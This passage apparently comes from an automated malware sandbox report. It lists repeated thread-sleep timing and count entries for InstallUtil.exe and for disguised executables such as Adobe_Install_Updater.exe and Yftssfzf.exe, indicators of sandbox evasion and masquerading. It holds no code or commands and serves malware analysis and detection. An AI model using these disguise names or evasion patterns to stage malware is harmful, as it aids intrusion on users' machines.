Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98640s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98530s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98344s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98234s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -98015s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -97906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -97797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -97684s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -97577s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -97442s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -97182s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -97078s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -96969s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -96843s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -96734s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -96625s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -96515s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6760	Thread sleep time: -96406s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 4744	Thread sleep count: 3156 > 30
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99828s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 4744	Thread sleep count: 3554 > 30
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99718s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99609s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99500s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99390s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99281s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99168s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -99061s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -98927s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -98666s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -98562s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -98453s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -98327s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -98218s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -98109s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97999s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97890s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97779s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97672s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97555s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97453s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97340s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97234s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97125s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -97015s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -96906s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -96796s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -96687s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -96577s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -96468s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 1524	Thread sleep time: -96359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2860	Thread sleep count: 4205 > 30
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -99797s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 4500	Thread sleep count: 3996 > 30
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -99666s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -99557s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -99443s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -99323s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -98770s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -98625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -98516s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -98391s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -98266s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -98147s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -98031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97918s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97808s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97663s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97527s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97414s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97188s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -97077s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -96969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -96860s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -96735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -96610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -96218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -96106s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -96000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95891s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95672s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95563s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95344s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -95110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -94985s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -94860s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -94735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -94610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -94485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2804	Thread sleep time: -94360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5232	Thread sleep time: -75000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 7640	Thread sleep time: -28592453314249787s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 7272	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 5376	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7204	Thread sleep count: 3527 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99813s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7204	Thread sleep count: 4608 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99559s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99344s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99233s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -99016s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -98906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -98797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -98687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -98374s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -98262s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -98156s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -98047s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97937s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97828s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97609s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97391s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -97063s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -96953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -96844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -96719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -96609s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -96500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -96366s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -96247s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -95921s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -95563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -95422s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -95312s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -95203s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -95093s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -94984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -94875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7180	Thread sleep time: -94766s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7536	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7896	Thread sleep count: 3218 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99843s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7920	Thread sleep count: 5004 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99730s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99623s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99515s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99406s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99296s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99164s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -99015s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98763s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98656s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98218s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98109s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -98000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97890s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97671s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97562s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97453s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97343s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97234s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -97112s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -96984s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -96875s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -96765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -96652s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -96519s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -96281s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95984s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95796s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95684s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95578s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95468s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95359s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95250s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95137s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -95016s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -94906s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -94796s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -94636s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 7888	Thread sleep time: -94531s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -36893488147419080s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8120	Thread sleep count: 3311 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8112	Thread sleep count: 6511 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -99874s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -99765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -99547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -99422s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -99312s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -99198s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -98609s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -98481s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -98359s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -98232s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -98083s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97954s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97812s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97703s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97593s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97462s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97344s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97219s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -97107s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96984s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96875s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96656s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96287s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96164s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -96044s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95922s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95797s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95676s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95219s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -95094s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94984s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94873s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94643s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94516s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94391s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94266s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94156s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -94047s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -93937s >= -30000s
